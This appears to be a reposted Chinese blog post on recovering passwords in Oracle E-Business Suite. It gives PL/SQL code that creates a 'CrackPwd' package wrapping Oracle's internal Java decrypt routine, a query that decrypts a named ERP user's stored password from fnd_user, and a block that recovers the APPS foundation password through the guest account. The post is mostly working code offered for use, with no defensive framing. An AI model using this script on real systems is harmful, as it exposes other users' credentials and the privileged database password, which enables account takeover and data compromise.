zoukankan      html  css  js  c++  java
  • 查詢ORACLE 數據庫密碼和ERP 密碼

    1)先建立Package

    CREATE OR REPLACE PACKAGE APPS.CrackPwd AUTHID CURRENT_USER
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2;
    END CrackPwd;
    /

    CREATE OR REPLACE PACKAGE BODY APPS.CrackPwd
    AS
       FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
          RETURN VARCHAR2
       AS
          LANGUAGE JAVA
          NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
    END CrackPwd;
    /

    2)建立後可以直接執行下面SQL

      DECLARE
       v_encrypted_pwd   VARCHAR2 (100);
       v_apps_pwd        VARCHAR2 (100);
       v_user_pwd        VARCHAR (100);
    BEGIN
      -- v_encrypted_pwd :='ZGF8C9616AD138A7F985E6316F55717D0F4EC37064A09A7F4DC67961E60A3880D8B00B3018595A4FB3E95B632AACC3376B61';
      select ENCRYPTED_USER_PASSWORD into v_encrypted_pwd from fnd_user where user_name='GAOLEI'; -----ERP帳號
    --get  ENCRYPTED_USER_PASSWORD from fnd_user
       IF v_apps_pwd IS NULL
       THEN
          v_apps_pwd := 'APPSDEV3';  ------DB數據庫名字
       END IF;

       v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
       DBMS_OUTPUT.put_line (v_user_pwd);
    END;

    3)查詢數據庫名字(前提是要進入數據庫)

    SET SERVEROUTPUT ON
    DECLARE
      guestUserPwd VARCHAR2(200);
      guestUserName VARCHAR2(100);
      guestFndPwd VARCHAR2(100);
      guestEncFndPwd VARCHAR2(100);
      delim NUMBER;
    BEGIN
    guestUserPwd :='GUEST/ORACLE';--Can any user password
    IF  guestUserPwd IS NULL THEN
             guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
      END IF;
      DBMS_OUTPUT.put_line(guestUserPwd);
      delim := INSTR(guestUserPwd,'/');
      guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
      DBMS_OUTPUT.put_line(guestUserName);
       SELECT encrypted_foundation_password INTO guestEncFndPwd
      FROM fnd_user_view
      WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
        (end_date IS NULL OR end_date > SYSDATE);
         guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
        IF NOT (guestFndPwd IS NULL) THEN
           DBMS_OUTPUT.put_line(guestFndPwd);
        END IF;
    END;

  • 相关阅读:
    Spring 控制器层如何调用DAO层
    Spring 工程分层
    spring boot工程如何启用 热启动功能
    Spring 视图层如何显示验证消息提示
    Sping POJO中如何添加验证规则和验证消息提示
    Spirng 分层,增加数据访问对象层
    Spring A 标签链接使用
    Spring 控制器重定向
    课程详情页之后台
    课程详情页之前台
  • 原文地址:https://www.cnblogs.com/zqmingok/p/2059701.html
Copyright © 2011-2022 走看看